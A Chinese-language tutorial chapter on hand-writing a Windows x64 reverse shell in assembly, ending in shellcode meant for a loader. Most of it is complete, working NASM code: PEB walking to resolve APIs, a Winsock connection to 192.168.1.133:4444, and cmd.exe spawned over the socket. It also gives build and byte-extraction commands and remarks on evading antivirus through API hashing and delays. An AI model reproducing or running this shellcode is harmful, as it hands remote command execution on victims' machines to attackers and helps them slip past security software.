WIndows x64 ShellCode开发 第五章 反向Shell编写

文章目录

WIndows x64 ShellCode开发 第五章 反向Shell编写

经过前面x64汇编的基础学习,与相关DLL模块所需API的动态加载等,我们就要开始我们最终的目标了,用 x64 汇编 手写ShellCode 。在挑战纯汇编之前,我们先用(EXTERN)外部调用 代码先写一遍,在写的过程中能更好的帮助我们理解反向Shell建立的过程与其中所使用的函数及其参数的。因为第一次直接用纯汇编写的话还是太晦涩了,先从简单入手理解本质,最后面对纯汇编ShellCode操手时才能游刃有余。

一、外部API代码汇编 编写反向Shell

还是和前几章一样注释中的内容很重要,毕竟是代码编写,如果跳脱出代码感觉就太出格了,所以相关详细解释还是会写在代码行后的注释中

使用外部API代码后我们就避免了手动查找API,但同时这段代码也就不能编译成ShellCode,但是代码变得简单易懂了,更方便我们理解其中的逻辑内容。

(一)、外部API结构解析

在汇编之前我们先学习一下外部API的结构,注重关键参数即可其余用不上的略带过

Programming reference for the Win32 API - Win32 apps | Microsoft Learn 官方文档

  1. WSAStartup 函数

    int WSAStartup(
    [in] WORD wVersionRequired, //请求的 Winsock 版本
    [out] LPWSADATA lpWSAData //指向 WSADATA 结构体的指针
    );

  2. WSASocketA 函数

    SOCKET WSAAPI WSASocketA(
    int af, //地址族
    int type, //Socket 通信方式
    int protocol, //使用的网络协议,TCP协议时值为6
    LPWSAPROTOCOL_INFOA lpProtocolInfo, //NULL
    GROUP g, //NULL
    DWORD dwFlags //NULL
    );

  3. WSAConnect 函数

    int WSAAPI WSAConnect(
    SOCKET s,
    const sockaddr *name,
    int namelen,
    LPWSABUF lpCallerData,
    LPWSABUF lpCalleeData,
    LPQOS lpSQOS,
    LPQOS lpGQOS
    );

  • s:要连接的 socket 句柄

  • name:指向 sockaddr_in 结构体的指针

  • namelen:name 结构体的长度

  • 其余几个填NULL

  1. CreateProcessA 函数

这个就比较复杂,但是大多数填NULL就行,注意几个关键的参数即可

复制代码
BOOL CreateProcessA(
  LPCSTR lpApplicationName,           //应用程序路径,NULL
  LPSTR lpCommandLine,                //命令行字符串 ,"cmd.exe"(shell需要)
  LPSECURITY_ATTRIBUTES lpProcessAttributes, //进程安全属性,NULL
  LPSECURITY_ATTRIBUTES lpThreadAttributes,  //线程安全属性,NULL
  BOOL bInheritHandles,               //是否继承句柄,TURE 继承 socket
  DWORD dwCreationFlags,              //进程创建标志,NULL
  LPVOID lpEnvironment,               //环境变量指针,NULL
  LPCSTR lpCurrentDirectory,          //当前目录,NULL
  LPSTARTUPINFOA lpStartupInfo,       //STARTUPINFOA 结构体指针
  LPPROCESS_INFORMATION lpProcessInformation //PROCESS_INFORMATION 结构体指针
);
  1. STARTUPINFOA 结构体(这个结构体很关键,毕竟是作为CreateProcessA 的参数传入,但大部分都填0,同样是注意几个关键参数)

    typedef struct _STARTUPINFOA {
    DWORD cb, // 结构体大小,固定 0x68
    LPSTR lpReserved, // 保留,0
    LPSTR lpDesktop, // 桌面名,0
    LPSTR lpTitle, // 窗口标题,0
    DWORD dwX, // 窗口 X 坐标,0
    DWORD dwY, // 窗口 Y 坐标,0
    DWORD dwXSize, // 窗口宽度,0
    DWORD dwYSize, // 窗口高度,0
    DWORD dwXCountChars, // 缓冲区字符宽度,0
    DWORD dwYCountChars, // 缓冲区字符高度,0
    DWORD dwFillAttribute, // 填充属性,填 0
    DWORD dwFlags, // 关键标志,固定 0x101
    WORD wShowWindow, // 显示方式(隐藏),0
    WORD cbReserved2, // 保留字段,0
    LPBYTE lpReserved2, // 保留指针,0
    HANDLE hStdInput, // 句柄socket
    HANDLE hStdOutput, // 句柄socket
    HANDLE hStdError // 句柄socket
    };

(二)、汇编代码实现
asm 复制代码
BITS 64	; 指定为64位汇编,默认32位
section .text	; 节区
global main	; 入口点

extern WSAStartup
extern WSASocketA
extern WSAConnect
extern CreateProcessA
extern ExitProcess	; 直接外部引用,下面可以直接使用 call [函数名] 进行调用

main:
and rsp,0xFFFFFFFFFFFFFFF0	; 强制栈对齐
; 1. WSAStartup 初始化 Windows Socket库,网络编程第一步
xor rcx,rcx
mov cx,0x198	; 0x198 是 WSADATA 结构体的大小,为后续分配栈空间做准备
sub rsp,rcx	; 在栈上为 WSADATA 结构体预留一块连续的内存空间
lea rdx,[rsp]	; 将栈上分配的 WSADATA 起始地址赋给RDX,即第二个参数' lpWSAData'
mov cx,0x202	; 第一个参数RCX赋值为0x202(WORD wVersionRequired),即指定Winsock版本
sub rsp,0x28	; 预留影子空间+栈对齐
call WSAStartup	; 调用 WSAStartup 函数,执行 Winsock 库的初始化
add rsp,0x30	; 恢复栈
; 2. WSASocketA 创建TCP socket
xor rcx,rcx
mov cl,2	; 第一个参数,AF_INET,IPv4
xor rdx,rdx
mov dl,1	; 第二个参数,SOCK_STREAM,流式套接字
xor r8,r8
mov r8b,6	; 第三个参数,IPPROTO_TCP,TCP协议
xor r9,r9	; 第四个参数, 0 
mov [rsp+0x20],r9	; R9此时为0,即将0存入 栈上[rsp+0x20]位置	
mov [rsp+0x28],r9	; 将0存入 栈上[rsp+0x28]位置
call WSASocketA
mov r12,rax	; 将返回值(Socket)句柄存入R12
add rsp,0x30
; 3. WSAConnect	网络连接
mov r13,rax	; 将Socket句柄存入r13
mov rcx,r13	; 将Socket句柄作为第一参数
xor rax,rax
inc rax
inc rax	; rax=2,AF_INET,IPv4
mov [rsp],rax	; 栈顶存入AF_INET
mov rax,0x5C11	; 端口:4444
mov [rsp+2],rax	; 栈顶+2字节存入端口
mov rax,0x8501A8C0	; IP:192.168.1.133
mov [rsp+4],rax	; 栈顶+4字节存入IP
lea rdx,[rsp]	; 第二参数:指向栈顶的地址结构体指针
mov r8,0x16	; 第三参数:地址结构体长度
xor r9,r9	; 第四参数:lpCallerData=NULL
push r9	; 第七参数:lpGQOS=NULL
push r9	; 第六参数:lpSQOS=NUL
push r9	; 第五参数:lpCalleeData=NULL , 在第四参数后还有参数就要用到栈(从右往左压参)
add rsp,8
sub rsp,0x90
call WSAConnect
add rsp,0x30
mov rax,0x6578652e646d63	; 字符串"cmd.exe"
push rax
mov rcx,rsp
; 4. 构造STARTUPINFOA结构体
push r13	; hStdError
push r13	; hStdOutput
push r13	; hStdInput
xor rax,rax
push rax	; lpReserved2
push rax	; cbReserved2
push ax	; 先压入ax作为dwFlafs的低2字节
mov rax,0x100
push ax	; 压入0x100,(低2字节0和高2字节0x100)表示指定hStdInput/hStdOutput/hStdError 作为进程的标准句柄
xor rax,rax
push rax	; dwFillAttribute
push rax	; dwXCountChars
push rax	; dwXSize
push ax
push ax	; dwX=0
push rax	; lpTitle
push rax	; lpDesktop
push rax	; lpReserved
mov rax,0x68	; STARTUPINFOA结构体的标准大小
push rax
mov rdi,rsp	; 结构体首地址存入rdi
; 5. 调用CreateProcessA
mov rax,rsp	; 将当前栈顶地址存入RAX
sub rax,0x18	; 栈上预留24字节空间
push rax	; PROCESS_INFORMATION结构体地址,从这里开始填充参数,这里是第十个参数
push rdi	; STARTUPINFOA 结构体首地址
xor rax,rax
push rax	; lpCurrentDirectory
push rax	; lpEnvironment
push rax	; dwCreationFlags
inc rax
push rax	; rax=1,bInheritHandles
xor rax,rax
mov r8,rax	; lpThreadAttributes            
mov r9,rax	; lpProcessAttributes           
mov rdx,rcx	; lpCommandLine = "cmd.exe" 
mov rcx,rax	; lpApplicationName      
sub rsp,0x20	; 预留影子空间与栈对齐
call CreateProcessA	; 调用CreateProcessA
; 6. 退出
mov rcx, 0
call ExitProcess	; 调用ExitProcess
复制代码
nasm -fwin64 shell.asm	// 编译
gcc -m64 shell.obj -o shell.exe -lkernel32 -lws2_32 -nostartfiles //链接

可以看到成功连接了但是没弹出命令行,这是因为我们这完成了反向shell功能没有对其进行混淆,这里直接被杀软拦下了

关闭杀软后测试,成功连接

二、纯汇编实现反向Shell并转为ShellCode加载

毕竟是纯汇编实现,代码有点多,所以打算将这里的实现代码,分阶段,分层次的给出,最后再拼接为一个完整的汇编程序。

(一)、解析PEB定位kernel32.dll基地址并找到导出表地址
asm 复制代码
BITS 64
SECTION .text
global main
main:
sub rsp,0x28
and rsp,0xFFFFFFFFFFFFFFF0	; 栈对齐

xor rcx,rcx
mov rax,[gs:rcx+0x60]	; PEB
mov rax,[rax+0x18]	; PEB->Ldr

mov rsi,[rax+0x10]	; InLoadOrderModuleList
mov rsi,[rsi]
mov rsi,[rsi]
mov rbx,[rsi+0x30]	; kernel32.dll的基地址
mov r8,rbx	; r8存下kernel32.dll的基地址

mov ebx,[rbx+0x3C]	; PE签名RVA
add rbx,r8	; PE头实际地址
mov edx, [rbx+0x88]	; 导出表 RVA
add rdx,r8	; 导出表实际地址

因为我们最终要转成ShellCode的,所以不能使用外部调用extern了,需要我们手动从PEB中解析出我们需要的kernel32.dll地址,并且找出其导出表实际地址。

(二)、动态解析API
asm 复制代码
mov r10d,[rdx+0x14]	; 导出函数总数
xor r11,r11
mov r11d,[rdx+0x20]	; AddressOfNames RVA
add r11,r8	; AddressOfNames实际地址
mov rcx,r10	; RCX暂存下函数总数

mov rax,0x9090737365726464	; 字符串'ddress',0x00位置使用0x90(nop)进行补全
shl rax,0x10
shr rax,0x10
push rax
mov rax,0x41636F7250746547	; 字符串'GetProcA'
push rax
mov rax,rsp	; 栈顶地址即GetProcAddress字符串的首地址,存入RAX

FindFun:
jecxz FunNotFound
dec rcx
xor ebx,ebx
mov ebx,[r11+rcx*4]	; AddressOfNames数组元素,其内容为函数名
add rbx,r8
mov r9,qword[rax]	; qword取字符串8字节内容
cmp [rbx],r9	; 对比当前函数名前8字节,即对比GetProcA
jnz FindFun
mov r9d,dword[rax+8]
cmp [rbx+8],r9d	; 对比GetProcA后4字节的字符串,即对比ddre
jz FunFound
jnz FindFun

FunNotFound:
int3	; 触发中断异常终止

FunFound:
mov r11d, [rdx+0x24]	; AddressOfNameOrdinals RVA
add r11,r8
mov cx, [r11+rcx*2]	; 获取序号(Ordinal是2字节)

xor r11,r11
mov r11d,[rdx+0x1C]	; AddressOfFunctions的RVA
add r11,r8	; AddressOfFunctions实际地址
mov eax,[r11+rcx*4]
add rax,r8	; GetProcAddress实际内存地址
mov r12,rax	; 将GetProcAddress函数存入R12

这方面就是写具体的函数遍历逻辑,并且找到我们需要的GetProcAddress API的实际内存地址。

AddressOfNames数组(函数名), 到映射表AddressOfNameOrdinals数组,最后再到真正函数地址 AddressOfFunctions数组,缺一不可,之前尝试不经过AddressOfNameOrdinals数组去找API地址显然失败了

(三)、动态调用查找相关API地址

要查的API会很多,大多都是位于kernel32.dllws2_32.dll两个库中,但是最后会将其存储地址的寄存器进行总结的

asm 复制代码
; 1. 调用GetProcAddress查LoadLibraryA地址
mov rdi,r8
mov rcx,r8	; 第一参数:DLL句柄(kernel32.dll基地址)
mov rax,0x41797261	; 字符串'aryA'
push rax
mov rax,0x7262694C64616F4C	; 字符串'LoadLibr'
push rax
mov rdx,rsp	; 第二参数:函数名字符串首地址(LoadLibraryA)
sub rsp,0x30	; 分配影子空间且栈对齐
call r12	; 调用GetProcAddress
add rsp,0x30
mov r15,rax	; 将GetProcAddress返回值(LoadLibraryA地址),存入r15

; 2. 调用GetProcAddress查ExitProcess地址
mov r9,r12
mov rcx,rdi	;	第一参数:DLL句柄(kernel32.dll基地址)
mov rax,0x90737365	; 'ess'
shl eax,0x8
shr eax,0x8
push rax
mov rax,0x636F725074697845	;ExitProc 
push rax
mov rdx,rsp	; 第二参数:函数名字符串首地址(ExitProcess)
sub rsp,0x30 
call r9	; 调用GetProcAddress
add rsp,0x30
mov rbx,rax	; 将GetProcAddress返回值(ExitProcess地址),存入RBX

; 3. 调用GetProcAddress查CreateProcessA地址
mov r9,r12
mov rcx,rdi	; 第一参数:DLL句柄(kernel32.dll基地址)
mov rax,0x909041737365636F	; 字符串'ocessA',0x9090是nop
shl rax,0x10
shr rax,0x10
push rax
mov rax,0x7250657461657243	; 字符串'CreatePr'
push rax
mov rdx,rsp	; 第二参数:函数名字符串首地址(CreateProcessA)
sub rsp,0x30
call r9	; 调用GetProcAddress
add rsp,0x30
mov r13,rax	; 将GetProcAddress返回值(CreateProcessA地址),存入R13

; 4. 调用LoadLibraryA加载ws2_32.dll(获取ws2_32.dll基地址)
mov rax,0x90906C6C	; 字符串'll',0x9090是nop(规避空字节)
shl eax,0x10			
shr eax,0x10			
push rax				
mov rax,0x642E32335F327377	; 字符串'ws2_32.d'
push rax				
mov rcx,rsp	; 第一参数:DLL名字符串首地址(ws2_32.dll)
sub rsp,0x30	; 分配影子空间且栈对齐
call r15	; 调用LoadLibraryA
add rsp,0x30
mov r14,rax	; 将LoadLibraryA返回值(ws2_32.dll基地址),存入r14

; 5. 调用GetProcAddress查WSAStartup地址
mov rcx,r14	; 第一参数:DLL句柄(ws2_32.dll基地址)
mov rax,0x90907075	; 字符串'up',0x9090是nop
shl eax,0x10			
shr eax,0x10			
push rax				
mov rax,0x7472617453415357	; 字符串'WSAStart'
push rax				
mov rdx,rsp	; 第二参数:函数名字符串首地址(WSAStartup)
sub rsp,0x30
call r12	
add rsp,0x30
mov r15,rax	; 将GetProcAddress返回值(WSAStartup地址),存入r15
; 6. 调用GetProcAddress查WSASocketA地址
mov rcx,r14	; 第一参数:DLL句柄(ws2_32.dll基地址)
mov rax,0x90904174	; 字符串'tA',0x9090是nop
shl eax,0x10			
shr eax,0x10			
push rax				
mov rax,0x656B636F53415357	; 字符串'WSASocke'
push rax				
mov rdx,rsp	; 第二参数:函数名字符串首地址(WSASocketA)
sub rsp,0x30
call r12
add rsp,0x30			
mov rsi,rax	; 将GetProcAddress返回值(WSASocketA地址),存入rsi

; 7. 调用GetProcAddress查WSAConnect地址
mov rcx,r14	; 第一参数:DLL句柄(ws2_32.dll基地址)
mov rax,0x90907463	; 字符串'ct',0x9090是nop
shl eax,0x10			
shr eax,0x10			
push rax				
mov rax,0x656E6E6F43415357	; 字符串'WSAConne'
push rax				
mov rdx,rsp	; 第二参数:函数名字符串首地址(WSAConnect)
sub rsp,0x30
call r12
add rsp,0x30			
mov rdi,rax	; 将GetProcAddress返回值(WSAConnect地址),存入rdi

mov r14,r13	            ; 将CreateProcessA地址从r13移到r14(r14原ws2_32基地址不再需要)

GetProcAddress函数传参第一个是DLL句柄,另一个就是字符串了,后面我们也可以利用哈希算法进行遍历查询(GetProcAddressByHash),这样我们PE结构导入表IAT中就不会显示我们查询的API记录,在免杀方面更好的隐藏我们的静态特征。

看着是不是很多,其中寄存器的值已经有点混淆记不清了,我们这里做个清单

复制代码
r12 = GetProcAddress
r14 = CreateProcessA
r15 = WSAStartup
rsi = WSASocketA
rdi = WSAConnect
rbx = ExitProcess
(四)、调用API进行网络编程
asm 复制代码
xor rcx,rcx
mov cx,0x198	; WSADATA结构体的大小
sub rsp,rcx	; 栈上分配0x198空间,存放WSADATA结构体
lea rdx,[rsp]	; 第二参数:LPWSADATA(栈上WSADATA结构体的首地址)
mov cx,0x202	; 第一参数:wVersionRequired(Winsock版本)
sub rsp,0x28
call r15	; 调用WSAStartup
add rsp,0x30

xor rcx,rcx
mov cl,2	; 第一参数,AF_INET,IPv4
xor rdx,rdx
mov dl,1	; 第二参数,SOCK_STREAM,流式套接字
xor r8,r8
mov r8b,6	; 第三参数,IPPROTO_TCP,TCP协议
xor r9,r9	; 第四参数, 0 
mov [rsp+0x20],r9	; 第五参数,R9此时为0,即将0存入 栈上[rsp+0x20]位置	
mov [rsp+0x28],r9	; 第六参数,将0存入 栈上[rsp+0x28]位置
; sub rsp,0x30
call rsi	; 调用WSASocketA
add rsp,0x30
mov r12,rax	; Socket句柄

mov r13,rax
mov rcx,r13	; 第一参数:Socket句柄
xor rax,rax
inc rax
inc rax
mov [rsp],rax	; 栈顶存入AF_INET
mov ax,0x5C11	; 端口:4444
mov [rsp+2],ax	; 栈顶+2字节存入端口
mov rax,0x8501A8C0	; IP:192.168.1.133
mov [rsp+4],rax	; 栈顶+4字节存入IP
lea rdx,[rsp]	; 第二参数:指向栈顶的地址结构体指针
mov r8,0x16	; 第三参数:地址结构体长度
xor r9,r9	; 第四参数:lpCallerData=NULL
push r9	; 第七参数:lpGQOS=NULL
push r9	; 第六参数:lpSQOS=NUL
push r9	; 第五参数:lpCalleeData=NULL , 在第四参数后还有参数就要用到栈(从右往左压参)
add rsp,8	; 栈对齐
sub rsp,0x60
sub rsp,0x60
call rdi	; 调用WSAConnect

先调用WSAStartup初始化Winsock库,然后调用WSASocketA创建套接字,最后调用WSAConnect指定IP:PORT等参数进行网络连接

(五)、构造STARTUPINFOA结构体并调用CreateProcessA启动cmd.exe实现交互Shell
asm 复制代码
add rsp,0x30
mov rax,0x6578652e646d63	; 字符串"cmd.exe"
push rax
mov rcx,rsp

; 构造STARTUPINFOA结构体
push r13	; hStdError
push r13	; hStdOutput
push r13	; hStdInput
xor rax,rax
push rax	; lpReserved2
push rax	; cbReserved2
push ax	; 先压入ax作为dwFlafs的低2字节
mov al, 0x1                 ; AL=0x1 → STARTF_USESTDHANDLES
shl eax, 0x8                ; EAX=0x100
push ax	; 压入0x100,(低2字节0和高2字节0x100)表示指定hStdInput/hStdOutput/hStdError 作为进程的标准句柄
xor rax,rax
push rax	; dwFillAttribute
push rax	; dwXCountChars
push rax	; dwXSize
push ax
push ax	; dwX=0
push rax	; lpTitle
push rax	; lpDesktop
push rax	; lpReserved
mov al,0x68	; STARTUPINFOA结构体的标准大小
push rax
mov rdi,rsp	; 结构体首地址存入rdi

;  调用CreateProcessA
mov rax,rsp	; 将当前栈顶地址存入RAX
sub rax,0x18
push rax	; PROCESS_INFORMATION结构体地址,从这里开始填充参数,这里是第十个参数
push rdi	; STARTUPINFOA 结构体首地址
xor rax,rax
push rax	; lpCurrentDirectory
push rax	; lpEnvironment
push rax	; dwCreationFlags
inc rax
push rax	; rax=1,bInheritHandles
xor rax,rax
mov r8,rax	; lpThreadAttributes            
mov r9,rax	; lpProcessAttributes           
mov rdx,rcx	; lpCommandLine = "cmd.exe" 
mov rcx,rax	; lpApplicationName      
sub rsp,0x20	; 预留影子空间与栈对齐
call r14	; 调用CreateProcessA
;  退出
mov rcx, 0
call rbx	; 调用ExitProcess
六、综合整合
asm 复制代码
BITS 64
SECTION .text
global main
main:
sub rsp,0x28
and rsp,0xFFFFFFFFFFFFFFF0	; 栈对齐

xor rcx,rcx
mov rax,[gs:rcx+0x60]	; PEB
mov rax,[rax+0x18]	; PEB->Ldr

mov rsi,[rax+0x10]	; InLoadOrderModuleList
mov rsi,[rsi]
mov rsi,[rsi]
mov rbx,[rsi+0x30]	; kernel32.dll的基地址
mov r8,rbx	; r8存下kernel32.dll的基地址

mov ebx,[rbx+0x3C]	; PE签名RVA
add rbx,r8	; PE头实际地址
mov edx, [rbx+0x88]	; 导出表 RVA
add rdx,r8	; 导出表实际地址

mov r10d,[rdx+0x14]	; 导出函数总数
xor r11,r11
mov r11d,[rdx+0x20]	; AddressOfNames RVA
add r11,r8	; AddressOfNames实际地址
mov rcx,r10	; RCX暂存下函数总数

mov rax,0x9090737365726464	; 字符串'ddress',0x00位置使用0x90(nop)进行补全
shl rax,0x10
shr rax,0x10
push rax
mov rax,0x41636F7250746547	; 字符串'GetProcA'
push rax
mov rax,rsp	; 栈顶地址即GetProcAddress字符串的首地址,存入RAX

FindFun:
jecxz FunNotFound
dec rcx
xor ebx,ebx
mov ebx,[r11+rcx*4]	; AddressOfNames数组元素,其内容为函数名
add rbx,r8
mov r9,qword[rax]	; qword取字符串8字节内容
cmp [rbx],r9	; 对比当前函数名前8字节,即对比GetProcA
jnz FindFun
mov r9d,dword[rax+8]
cmp [rbx+8],r9d	; 对比GetProcA后4字节的字符串,即对比ddre
jz FunFound
jnz FindFun

FunNotFound:
int3	; 触发中断异常终止

FunFound:
mov r11d, [rdx+0x24]	; AddressOfNameOrdinals RVA
add r11,r8
mov cx, [r11+rcx*2]	; 获取序号(Ordinal是2字节)

xor r11,r11
mov r11d,[rdx+0x1C]	; AddressOfFunctions的RVA
add r11,r8	; AddressOfFunctions实际地址
mov eax,[r11+rcx*4]
add rax,r8	; GetProcAddress实际内存地址
mov r12,rax	; 将GetProcAddress函数存入R12

; 1. 调用GetProcAddress查LoadLibraryA地址
mov rdi,r8
mov rcx,r8	; 第一参数:DLL句柄(kernel32.dll基地址)
mov rax,0x41797261	; 字符串'aryA'
push rax
mov rax,0x7262694C64616F4C	; 字符串'LoadLibr'
push rax
mov rdx,rsp	; 第二参数:函数名字符串首地址(LoadLibraryA)
sub rsp,0x30	; 分配影子空间且栈对齐
call r12	; 调用GetProcAddress
add rsp,0x30
mov r15,rax	; 将GetProcAddress返回值(LoadLibraryA地址),存入r15

; 2. 调用GetProcAddress查ExitProcess地址
mov r9,r12
mov rcx,rdi	;	第一参数:DLL句柄(kernel32.dll基地址)
mov rax,0x90737365	; 'ess'
shl eax,0x8
shr eax,0x8
push rax
mov rax,0x636F725074697845	;ExitProc 
push rax
mov rdx,rsp	; 第二参数:函数名字符串首地址(ExitProcess)
sub rsp,0x30 
call r9	; 调用GetProcAddress
add rsp,0x30
mov rbx,rax	; 将GetProcAddress返回值(ExitProcess地址),存入RBX

; 3. 调用GetProcAddress查CreateProcessA地址
mov r9,r12
mov rcx,rdi	; 第一参数:DLL句柄(kernel32.dll基地址)
mov rax,0x909041737365636F	; 字符串'ocessA',0x9090是nop
shl rax,0x10
shr rax,0x10
push rax
mov rax,0x7250657461657243	; 字符串'CreatePr'
push rax
mov rdx,rsp	; 第二参数:函数名字符串首地址(CreateProcessA)
sub rsp,0x30
call r9	; 调用GetProcAddress
add rsp,0x30
mov r13,rax	; 将GetProcAddress返回值(CreateProcessA地址),存入R13

; 4. 调用LoadLibraryA加载ws2_32.dll(获取ws2_32.dll基地址)
mov rax,0x90906C6C	; 字符串'll',0x9090是nop(规避空字节)
shl eax,0x10			
shr eax,0x10			
push rax				
mov rax,0x642E32335F327377	; 字符串'ws2_32.d'
push rax				
mov rcx,rsp	; 第一参数:DLL名字符串首地址(ws2_32.dll)
sub rsp,0x30	; 分配影子空间且栈对齐
call r15	; 调用LoadLibraryA
add rsp,0x30
mov r14,rax	; 将LoadLibraryA返回值(ws2_32.dll基地址),存入r14

; 5. 调用GetProcAddress查WSAStartup地址
mov rcx,r14	; 第一参数:DLL句柄(ws2_32.dll基地址)
mov rax,0x90907075	; 字符串'up',0x9090是nop
shl eax,0x10			
shr eax,0x10			
push rax				
mov rax,0x7472617453415357	; 字符串'WSAStart'
push rax				
mov rdx,rsp	; 第二参数:函数名字符串首地址(WSAStartup)
sub rsp,0x30
call r12	
add rsp,0x30
mov r15,rax	; 将GetProcAddress返回值(WSAStartup地址),存入r15
; 6. 调用GetProcAddress查WSASocketA地址
mov rcx,r14	; 第一参数:DLL句柄(ws2_32.dll基地址)
mov rax,0x90904174	; 字符串'tA',0x9090是nop
shl eax,0x10			
shr eax,0x10			
push rax				
mov rax,0x656B636F53415357	; 字符串'WSASocke'
push rax				
mov rdx,rsp	; 第二参数:函数名字符串首地址(WSASocketA)
sub rsp,0x30
call r12
add rsp,0x30			
mov rsi,rax	; 将GetProcAddress返回值(WSASocketA地址),存入rsi

; 7. 调用GetProcAddress查WSAConnect地址
mov rcx,r14	; 第一参数:DLL句柄(ws2_32.dll基地址)
mov rax,0x90907463	; 字符串'ct',0x9090是nop
shl eax,0x10			
shr eax,0x10			
push rax				
mov rax,0x656E6E6F43415357	; 字符串'WSAConne'
push rax				
mov rdx,rsp	; 第二参数:函数名字符串首地址(WSAConnect)
sub rsp,0x30
call r12
add rsp,0x30			
mov rdi,rax	; 将GetProcAddress返回值(WSAConnect地址),存入rdi

mov r14,r13	            ; 将CreateProcessA地址从r13移到r14(r14原ws2_32基地址不再需要)

xor rcx,rcx
mov cx,0x198	; WSADATA结构体的大小
sub rsp,rcx	; 栈上分配0x198空间,存放WSADATA结构体
lea rdx,[rsp]	; 第二参数:LPWSADATA(栈上WSADATA结构体的首地址)
mov cx,0x202	; 第一参数:wVersionRequired(Winsock版本)
sub rsp,0x28
call r15	; 调用WSAStartup
add rsp,0x30

xor rcx,rcx
mov cl,2	; 第一参数,AF_INET,IPv4
xor rdx,rdx
mov dl,1	; 第二参数,SOCK_STREAM,流式套接字
xor r8,r8
mov r8b,6	; 第三参数,IPPROTO_TCP,TCP协议
xor r9,r9	; 第四参数, 0 
mov [rsp+0x20],r9	; 第五参数,R9此时为0,即将0存入 栈上[rsp+0x20]位置	
mov [rsp+0x28],r9	; 第六参数,将0存入 栈上[rsp+0x28]位置
; sub rsp,0x30
call rsi	; 调用WSASocketA
add rsp,0x30
mov r12,rax	; Socket句柄

mov r13,rax
mov rcx,r13	; 第一参数:Socket句柄
xor rax,rax
inc rax
inc rax
mov [rsp],rax	; 栈顶存入AF_INET
mov ax,0x5C11	; 端口:4444
mov [rsp+2],ax	; 栈顶+2字节存入端口
mov rax,0x8501A8C0	; IP:192.168.1.133
mov [rsp+4],rax	; 栈顶+4字节存入IP
lea rdx,[rsp]	; 第二参数:指向栈顶的地址结构体指针
mov r8,0x16	; 第三参数:地址结构体长度
xor r9,r9	; 第四参数:lpCallerData=NULL
push r9	; 第七参数:lpGQOS=NULL
push r9	; 第六参数:lpSQOS=NUL
push r9	; 第五参数:lpCalleeData=NULL , 在第四参数后还有参数就要用到栈(从右往左压参)
add rsp,8	; 栈对齐
sub rsp,0x60
sub rsp,0x60
call rdi	; 调用WSAConnect

add rsp,0x30
mov rax,0x6578652e646d63	; 字符串"cmd.exe"
push rax
mov rcx,rsp

; 构造STARTUPINFOA结构体
push r13	; hStdError
push r13	; hStdOutput
push r13	; hStdInput
xor rax,rax
push rax	; lpReserved2
push rax	; cbReserved2
push ax	; 先压入ax作为dwFlafs的低2字节
mov al, 0x1                 ; AL=0x1 → STARTF_USESTDHANDLES
shl eax, 0x8                ; EAX=0x100
push ax	; 压入0x100,(低2字节0和高2字节0x100)表示指定hStdInput/hStdOutput/hStdError 作为进程的标准句柄
xor rax,rax
push rax	; dwFillAttribute
push rax	; dwXCountChars
push rax	; dwXSize
push ax
push ax	; dwX=0
push rax	; lpTitle
push rax	; lpDesktop
push rax	; lpReserved
mov al,0x68	; STARTUPINFOA结构体的标准大小
push rax
mov rdi,rsp	; 结构体首地址存入rdi

;  调用CreateProcessA
mov rax,rsp	; 将当前栈顶地址存入RAX
sub rax,0x18
push rax	; PROCESS_INFORMATION结构体地址,从这里开始填充参数,这里是第十个参数
push rdi	; STARTUPINFOA 结构体首地址
xor rax,rax
push rax	; lpCurrentDirectory
push rax	; lpEnvironment
push rax	; dwCreationFlags
inc rax
push rax	; rax=1,bInheritHandles
xor rax,rax
mov r8,rax	; lpThreadAttributes            
mov r9,rax	; lpProcessAttributes           
mov rdx,rcx	; lpCommandLine = "cmd.exe" 
mov rcx,rax	; lpApplicationName      
sub rsp,0x20	; 预留影子空间与栈对齐
call r14	; 调用CreateProcessA
;  退出
mov rcx, 0
call rbx	; 调用ExitProcess
复制代码
nasm -fwin64 ShellCode.asm	// 编译
gcc -m64 ShellCode.obj -o ShellCode.exe -lkernel32 -lws2_32 -nostartfiles //链接

我们先通过直接编译链接测试当前功能是否实现

七、调试测试

我比较习惯使用xdebug进行调试,不管是在开发过程中还是在开发后出现问题时,都能通过调试找到问题关键并改正

我们将编译链接好的ShellCode.exe,拖入到x64dbg(毕竟我们写的是64位),然后按下F9,会直接跳转到我们程序开始的断点处,并可以清楚的看到我们自己写的汇编代码

我在写的过程中也是遇到写问题,一个就是WSAStartup的地址解析不到,正常的是这样的

在我们执行完call 12调用GetProcAddress查询我们的LoadLibraryA地址后,RAX寄存器中就会存储着我们的函数返回值,也就是LoadLibrary的地址,如图,在RAX值后面是清楚的显示<kernel32.LoadLibrary>

但是在我们调用GetProcAddressWSAStartup地址的时候,返回却是一团乱码,我开始还以为是ws2_32基地址查错了,直到我成功查到了WSASocketA的地址。

我们可以在地址查询完成后,WSAStartup调用前打一断点,然后F9跳转到当前执行状态,我们可以看到右侧寄存器状态R15 (WSAStartup地址)、RSI(WSASocketA地址)、RDI(WSAConnect地址),WSAStartup地址一直是乱码状态,导致后续WSASocketA调用Socket初始化失败时,一直以为是这里的问题。。。

然后就是我们可以根据调用完成WSASocketA后的返回值判断Socket初始化成功的标志,如图

调用完后RAX返回值是00000000000000EC就说明初始化是成功的,如果返回值是0xFFFFFFFFFFFFFFFF就是返回的预定义常量INVALID_SOCKET初始化失败了。

后面我们再进而调用WSAConnect后,可以看到连接成功的字符

然后就是调用CreateProcessA启动我们的cmd.exe了(这里后续做免杀处理时不会直接启动,可能会设置延时以及杂数据流干扰处理)

最后发现成功连接

测试成功后我们就可以将其转换为ShellCode并放入到我们的加载器中测试执行了

复制代码
nasm.exe -f win64 ShellCode.asm -o ShellCode.o
Powershell 复制代码
$shellcode = ""; (objdump -D ShellCode.o | Select-String "^ ").Line | ForEach-Object { $_.Split("`t")[1] -split " " | Where-Object { $_ -match "^[0-9a-f]{2}$" } | ForEach-Object { $shellcode += "\x" + $_ } }; $shellcode

得到ShellCode

复制代码
